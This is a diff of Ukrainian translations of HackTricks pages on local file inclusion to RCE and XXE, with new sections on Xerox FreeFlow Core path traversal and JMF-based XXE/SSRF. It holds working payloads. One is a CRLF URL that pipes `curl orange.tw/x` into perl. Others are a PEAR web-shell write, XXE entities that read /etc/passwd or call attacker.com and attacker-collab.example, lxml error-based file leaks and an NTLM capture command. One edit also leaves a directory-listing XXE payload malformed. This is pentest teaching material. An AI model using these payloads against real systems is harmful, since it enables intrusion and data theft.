Якщо ви знайшли **Local File Inclusion**, навіть якщо у вас **немає сесії** і `session.auto_start` вимкнено. Якщо ви надасте **`PHP_SESSION_UPLOAD_PROGRESS`** у **multipart POST** даних, PHP **включить сесію для вас**. Ви можете зловживати цим, щоб отримати RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -567,7 +613,7 @@ lfi2rce-via-temp-file-uploads.md
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Наступне зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Це зловживає вразливістю CRLF для отримання RCE (з [**тут**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -582,9 +628,9 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Розкриття шляху
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи має **файл, що включається, PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -592,7 +638,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Через вічне очікування + брутфорс
|
||||
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** виконання PHP, ви могли б **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** під час виконання PHP, ви могли б **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -611,6 +657,8 @@ _Навіть якщо ви викликаєте PHP Фатальну Помил
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – Від служби підтримки до нульового дня (FreeFlow Core path traversal → довільне записування → веб-шелл)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -6,11 +6,11 @@
|
||||
|
||||
XML - це мова розмітки, призначена для зберігання та транспортування даних, що має гнучку структуру, яка дозволяє використовувати описово названі теги. Вона відрізняється від HTML тим, що не обмежена набором попередньо визначених тегів. Значення XML зменшилося з появою JSON, незважаючи на її початкову роль у технології AJAX.
|
||||
|
||||
- **Представлення даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` і `>`, які відповідають `<` і `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані і який вміст вони можуть містити, від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Подання даних через сутності**: Сутності в XML дозволяють представляти дані, включаючи спеціальні символи, такі як `<` та `>`, які відповідають `<` та `>` для уникнення конфлікту з системою тегів XML.
|
||||
- **Визначення елементів XML**: XML дозволяє визначати типи елементів, окреслюючи, як елементи повинні бути структуровані та який вміст вони можуть містити, починаючи від будь-якого типу вмісту до конкретних дочірніх елементів.
|
||||
- **Визначення типу документа (DTD)**: DTD є важливими в XML для визначення структури документа та типів даних, які він може містити. Вони можуть бути внутрішніми, зовнішніми або комбінацією, вказуючи, як документи формуються та перевіряються.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого представлення даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, для підтвердження вразливості.
|
||||
- **Користувацькі та зовнішні сутності**: XML підтримує створення користувацьких сутностей у DTD для гнучкого подання даних. Зовнішні сутності, визначені з URL, викликають проблеми безпеки, особливо в контексті атак XML External Entity (XXE), які експлуатують спосіб, яким XML парсери обробляють зовнішні джерела даних: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Виявлення XXE за допомогою параметричних сутностей**: Для виявлення вразливостей XXE, особливо коли звичайні методи не працюють через заходи безпеки парсера, можна використовувати параметричні сутності XML. Ці сутності дозволяють використовувати методи виявлення поза каналом, такі як ініціювання DNS запитів або HTTP запитів до контрольованого домену, щоб підтвердити вразливість.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -68,7 +68,7 @@ XML - це мова розмітки, призначена для зберіга
|
||||
У **Java**-базованих додатках може бути можливим **перелічити вміст директорії** через XXE з корисним навантаженням, як (просто запитуючи директорію замість файлу):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
|
||||
|
||||
<!-- /etc/ -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
|
||||
@ -130,9 +130,9 @@ XXE може бути використано для зловживання SSRF
|
||||
Повідомлення про помилку парсингу XML, яке розкриває вміст файлу `/etc/passwd`, може бути викликане за допомогою шкідливого зовнішнього визначення типу документа (DTD). Це досягається через наступні кроки:
|
||||
|
||||
1. Визначається XML параметрична сутність з назвою `file`, яка містить вміст файлу `/etc/passwd`.
|
||||
2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як його ім'я.
|
||||
2. Визначається XML параметрична сутність з назвою `eval`, що включає динамічне визначення для іншої XML параметричної сутності з назвою `error`. Ця сутність `error`, коли її оцінюють, намагається завантажити неіснуючий файл, використовуючи вміст сутності `file` як своє ім'я.
|
||||
3. Викликається сутність `eval`, що призводить до динамічного визначення сутності `error`.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що викликає повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
4. Виклик сутності `error` призводить до спроби завантажити неіснуючий файл, що генерує повідомлення про помилку, яке включає вміст файлу `/etc/passwd` як частину імені файлу.
|
||||
|
||||
Шкідливий зовнішній DTD можна викликати за допомогою наступного XML:
|
||||
```xml
|
||||
@ -169,7 +169,7 @@ _**Зверніть увагу, що зовнішній DTD дозволяє н
|
||||
|
||||
- Визначення XML параметричної сутності з назвою `local_dtd` включає зовнішній DTD файл, розташований на файловій системі сервера.
|
||||
- Відбувається повторне визначення для XML параметричної сутності `custom_entity`, спочатку визначеної у зовнішньому DTD, щоб інкапсулювати [експлойт XXE на основі помилок](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Це повторне визначення призначене для викликання помилки парсингу, що відкриває вміст файлу `/etc/passwd`.
|
||||
- Використовуючи сутність `local_dtd`, залучається зовнішній DTD, що охоплює нововизначену `custom_entity`. Ця послідовність дій призводить до виведення повідомлення про помилку, на яке націлений експлойт.
|
||||
- Використовуючи сутність `local_dtd`, залучається зовнішній DTD, що охоплює нововизначену `custom_entity`. Ця послідовність дій призводить до виникнення повідомлення про помилку, яке є метою експлойту.
|
||||
|
||||
**Приклад з реального життя:** Системи, що використовують середовище робочого столу GNOME, часто мають DTD за адресою `/usr/share/yelp/dtd/docbookx.dtd`, що містить сутність з назвою `ISOamso`.
|
||||
```xml
|
||||
@ -221,11 +221,11 @@ Testing 0 entities : []
|
||||
|
||||
Для більш детального пояснення цієї атаки, **перегляньте другий розділ** [**цього чудового посту**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **від Detectify**.
|
||||
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім продовжують витягувати певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
|
||||
Можливість **завантажувати документи Microsoft Office пропонується багатьма веб-додатками**, які потім витягують певні деталі з цих документів. Наприклад, веб-додаток може дозволити користувачам імпортувати дані, завантажуючи електронну таблицю у форматі XLSX. Щоб парсер зміг витягти дані з електронної таблиці, йому неминуче потрібно буде розпарсити принаймні один XML файл.
|
||||
|
||||
Щоб перевірити цю вразливість, необхідно створити **файл Microsoft Office, що містить XXE payload**. Першим кроком є створення порожньої директорії, в яку документ може бути розпакований.
|
||||
|
||||
Після того, як документ буде розпакований, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати у вибраному текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
Після розпакування документа, XML файл, розташований за адресою `./unzipped/word/document.xml`, слід відкрити та відредагувати в улюбленому текстовому редакторі (наприклад, vim). XML слід змінити, щоб включити бажаний XXE payload, часто починаючи з HTTP запиту.
|
||||
|
||||
Змінені XML рядки слід вставити між двома кореневими XML об'єктами. Важливо замінити URL на моніторинговий URL для запитів.
|
||||
|
||||
@ -246,7 +246,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
Процес доступу до файлу в архіві PKZIP через протокол jar включає кілька етапів:
|
||||
|
||||
1. Виконується HTTP запит для завантаження zip архіву з вказаного місця, наприклад, `https://download.website.com/archive.zip`.
|
||||
2. HTTP відповідь, що містить архів, тимчасово зберігається в системі, зазвичай у такому місці, як `/tmp/...`.
|
||||
2. HTTP відповідь, що містить архів, тимчасово зберігається на системі, зазвичай у місці на кшталт `/tmp/...`.
|
||||
3. Архів потім розпаковується для доступу до його вмісту.
|
||||
4. Конкретний файл в архіві, `file.zip`, читається.
|
||||
5. Після операції будь-які тимчасові файли, створені під час цього процесу, видаляються.
|
||||
@ -257,7 +257,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Запис файлів у тимчасовий каталог може допомогти **ескалації іншої вразливості, що пов'язана з обходом шляху** (такою як включення локальних файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
|
||||
> Запис файлів у тимчасовий каталог може допомогти **ескалації іншої вразливості, що стосується обходу шляху** (такої як локальне включення файлів, ін'єкція шаблонів, XSLT RCE, десеріалізація тощо).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -294,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
#### Отримання NTML
|
||||
|
||||
На хостах Windows можливо отримати NTML хеш користувача веб-сервера, налаштувавши обробник responder.py:
|
||||
На хостах Windows можливо отримати хеш NTML користувача веб-сервера, налаштувавши обробник responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
@ -310,9 +310,9 @@ Responder.py -I eth0 -v
|
||||
|
||||
### XInclude
|
||||
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні XXE атаки через обмеження на зміну елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
При інтеграції даних клієнта в XML-документи на стороні сервера, такі як ті, що в бекенд SOAP запитах, прямий контроль над структурою XML часто обмежений, що ускладнює традиційні атаки XXE через обмеження на модифікацію елемента `DOCTYPE`. Однак атака `XInclude` пропонує рішення, дозволяючи вставку зовнішніх сутностей у будь-який елемент даних XML-документа. Цей метод ефективний навіть тоді, коли можна контролювати лише частину даних у згенерованому сервером XML-документі.
|
||||
|
||||
Щоб виконати атаку `XInclude`, потрібно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
|
||||
Щоб виконати атаку `XInclude`, необхідно оголосити простір імен `XInclude`, а також вказати шлях до файлу для запланованої зовнішньої сутності. Нижче наведено стисле приклад того, як така атака може бути сформульована:
|
||||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
@ -338,7 +338,7 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||
|
||||
Перевірте [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) для отримання додаткової інформації!
|
||||
|
||||
**Зверніть увагу, що перший рядок зчитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.**
|
||||
**Зверніть увагу, що перший рядок з прочитаного файлу або результат виконання з'явиться ВНУТРІ створеного зображення. Тому вам потрібно мати доступ до зображення, яке створив SVG.**
|
||||
|
||||
### **PDF - Завантаження файлу**
|
||||
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Від JSON до XEE
|
||||
|
||||
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Тут](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) ви можете знайти цей приклад:
|
||||
Щоб змінити запит, ви можете використовувати розширення Burp під назвою “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -429,7 +429,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||
### HTML Entities
|
||||
|
||||
Трюк з [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities** і потім викликати її для **завантаження dtd**.\
|
||||
Ви можете створити **сущність всередині сущності**, закодувавши її за допомогою **html entities**, а потім викликати її для **завантаження dtd**.\
|
||||
Зверніть увагу, що використані **HTML Entities** повинні бути **числовими** (як \[в цьому прикладі]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -492,7 +492,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Однак цей запит викликає внутрішню помилку сервера, зокрема згадуючи про проблему з деклараціями розмітки:
|
||||
Однак цей запит викликає помилку внутрішнього сервера, зокрема згадуючи про проблему з деклараціями розмітки:
|
||||
```json
|
||||
{
|
||||
"status": 500,
|
||||
@ -502,7 +502,7 @@ Content-Type: application/x-xliff+xml
|
||||
```
|
||||
Незважаючи на помилку, на Burp Collaborator зафіксовано запит, що вказує на певний рівень взаємодії з зовнішнім об'єктом.
|
||||
|
||||
Out of Band Data Exfiltration Щоб ексфільтрувати дані, надсилається модифікований запит:
|
||||
Витік даних поза каналом Щоб витягти дані, надсилається модифікований запит:
|
||||
```
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||
@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
### Python lxml Параметр-Ентіті XXE (Витік файлів на основі помилок)
|
||||
|
||||
> [!INFO]
|
||||
> Бібліотека Python **lxml** використовує **libxml2** під капотом. Версії до **lxml 5.4.0 / libxml2 2.13.8** все ще розширюють *параметр* ентіті, навіть коли `resolve_entities=False`, що робить їх доступними, коли додаток активує `load_dtd=True` і/або `resolve_entities=True`. Це дозволяє використовувати навантаження XXE на основі помилок, які вбудовують вміст локальних файлів у повідомлення про помилку парсера.
|
||||
> Бібліотека Python **lxml** використовує **libxml2** під капотом. Версії до **lxml 5.4.0 / libxml2 2.13.8** все ще розширюють *параметр* ентіті, навіть коли `resolve_entities=False`, що робить їх доступними, коли програма активує `load_dtd=True` і/або `resolve_entities=True`. Це дозволяє використовувати навантаження XXE на основі помилок, які вбудовують вміст локальних файлів у повідомлення про помилку парсера.
|
||||
|
||||
#### 1. Використання lxml < 5.4.0
|
||||
1. Визначте або створіть *локальний* DTD на диску, який визначає **невизначену** параметр ентіті (наприклад, `%config_hex;`).
|
||||
@ -693,7 +693,7 @@ https://github.com/luisfontes19/xxexploiter
|
||||
* Перевизначає невизначену ентіті так, щоб вона:
|
||||
- Читала цільовий файл (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Створювала іншу параметр ентіті, яка посилається на **недійсний шлях**, що містить значення `%flag;` і викликає помилку парсера (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Нарешті, розширте `%local_dtd;` і `%eval;`, щоб парсер натрапив на `%error;`, не зміг відкрити `/aaa/<FLAG>` і витікнув прапор всередині викинутої виняткової ситуації – що часто повертається користувачу додатком.
|
||||
3. Нарешті, розширте `%local_dtd;` і `%eval;`, щоб парсер натрапив на `%error;`, не зміг відкрити `/aaa/<FLAG>` і витікнув прапор всередині викинутої виняткової ситуації – що часто повертається користувачу програмою.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -711,10 +711,10 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
> [!TIP]
|
||||
> Якщо парсер скаржиться на символи `%`/`&` всередині внутрішнього підмножини, подвоюйте їх кодування (`&#x25;` ⇒ `%`), щоб затримати розширення.
|
||||
|
||||
#### 2. Обхід зміцнення lxml 5.4.0 (libxml2 все ще вразливий)
|
||||
`lxml` ≥ 5.4.0 забороняє *параметр* сутності помилок, як у наведеному вище прикладі, але **libxml2** все ще дозволяє їх вбудовувати в *загальну* сутність. Трюк полягає в тому, щоб:
|
||||
1. Прочитати файл у параметричну сутність `%file`.
|
||||
2. Оголосити іншу параметричну сутність, яка створює **загальну** сутність `c`, чий системний ідентифікатор використовує *неіснуючий протокол*, наприклад `meow://%file;`.
|
||||
#### 2. Обхід захисту lxml 5.4.0 (libxml2 все ще вразливий)
|
||||
`lxml` ≥ 5.4.0 забороняє *параметри* помилок, такі як наведений вище, але **libxml2** все ще дозволяє їх вбудовувати в *загальний* параметр. Трюк полягає в тому, щоб:
|
||||
1. Прочитати файл у параметричний об'єкт `%file`.
|
||||
2. Оголосити інший параметричний об'єкт, який створює **загальний** об'єкт `c`, чий системний ідентифікатор використовує *неіснуючий протокол*, наприклад `meow://%file;`.
|
||||
3. Розмістити `&c;` в тілі XML. Коли парсер намагається розіменувати `meow://…`, він зазнає невдачі і відображає повний URI – включаючи вміст файлу – в повідомленні про помилку.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
@ -726,7 +726,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
]>
|
||||
<colors>&c;</colors>
|
||||
```
|
||||
#### Основні висновки
|
||||
#### Ключові висновки
|
||||
* **Параметричні сутності** все ще розширюються libxml2, навіть коли `resolve_entities` має блокувати XXE.
|
||||
* **Недійсний URI** або **неіснуючий файл** достатні для конкатенації контрольованих даних у викинутому виключенні.
|
||||
* Техніка працює **без вихідного з'єднання**, що робить її ідеальною для середовищ з суворими фільтрами виходу.
|
||||
@ -738,7 +738,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
|
||||
### Приклад зміцнення Java DocumentBuilderFactory
|
||||
|
||||
Java-додатки часто парсять XML, використовуючи `DocumentBuilderFactory`. За замовчуванням фабрика **дозволяє розв'язання зовнішніх сутностей**, що робить її вразливою до XXE та SSRF, якщо не встановлені додаткові прапори зміцнення:
|
||||
Java-додатки часто парсять XML, використовуючи `DocumentBuilderFactory`. За замовчуванням фабрика **дозволяє розв'язання зовнішніх сутностей**, що робить її вразливою до XXE та SSRF, якщо не встановлені додаткові флаги зміцнення:
|
||||
```java
|
||||
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
|
||||
@ -763,17 +763,43 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Якщо додаток повинен підтримувати DTD всередині, залиште `disallow-doctype-decl` вимкненим, але **завжди** залишайте два параметри `external-*-entities` встановленими на `false`. Ця комбінація запобігає класичним атакам на розкриття файлів (`file:///etc/passwd`), а також мережевим векторами SSRF (`http://169.254.169.254/…`, протокол `jar:` тощо).
|
||||
Якщо додаток повинен підтримувати DTD всередині, залишайте `disallow-doctype-decl` вимкненим, але **завжди** залишайте два параметри `external-*-entities` встановленими на `false`. Ця комбінація запобігає класичним атакам на розкриття файлів (`file:///etc/passwd`), а також мережевим векторами SSRF (`http://169.254.169.254/…`, протокол `jar:`, тощо).
|
||||
|
||||
Дослідження з реального світу: **CVE-2025-27136** в емуляторі Java S3 *LocalS3* використовував вразливий конструктор, показаний вище. Неавтентифікований зловмисник міг надати підготовлене XML тіло до кінцевої точки `CreateBucketConfiguration` і змусити сервер вбудувати локальні файли (наприклад, `/etc/passwd`) у HTTP-відповідь.
|
||||
|
||||
## References
|
||||
### XXE в JMF/Послуги Оркестрації Друку → SSRF
|
||||
|
||||
Деякі платформи для друку/оркестрації робочих процесів відкривають мережевий прослуховувач формату повідомлень завдань (JMF), який приймає XML через TCP. Якщо підлягаючий парсер приймає `DOCTYPE` і розв'язує зовнішні сутності, ви можете використати класичний XXE, щоб змусити сервер здійснювати вихідні запити (SSRF) або отримувати доступ до локальних ресурсів.
|
||||
|
||||
Ключові моменти, зафіксовані в реальному світі:
|
||||
- Мережевий прослуховувач (наприклад, клієнт JMF) на виділеному порту (зазвичай 4004 у Xerox FreeFlow Core).
|
||||
- Парсинг XML на базі Java всередині jar (наприклад, `jmfclient.jar`) без вимкнення `disallow-doctype-decl` або розв'язання сутностей.
|
||||
- Вихідні зворотні виклики надійно підтверджують експлуатацію.
|
||||
|
||||
Мінімальний JMF-стиль SSRF пробник (структура варіюється в залежності від продукту, але DOCTYPE має значення):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE JMF [
|
||||
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
|
||||
]>
|
||||
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
|
||||
<Query Type="KnownMessages">&probe;</Query>
|
||||
</JMF>
|
||||
```
|
||||
Примітки:
|
||||
- Замініть URL-адресу сутності на вашу співпрацю. Якщо SSRF можливий, сервер вирішить його під час парсингу повідомлення.
|
||||
- Посилення, на які слід звернути увагу: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
|
||||
- Навіть коли порт JMF не обслуговує файли, SSRF можна з'єднати для внутрішньої розвідки або для доступу до API управління, прив'язаних до localhost.
|
||||
|
||||
Посилання на цей вектор наведені в кінці сторінки.
|
||||
|
||||
## Посилання
|
||||
|
||||
- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Extract info via HTTP using own external DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- Витягти інформацію через HTTP, використовуючи власний зовнішній DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
@ -782,5 +808,8 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
|
||||
- [Dojo CTF Challenge #42 – Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
||||
- [lxml bug #2107279 – Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user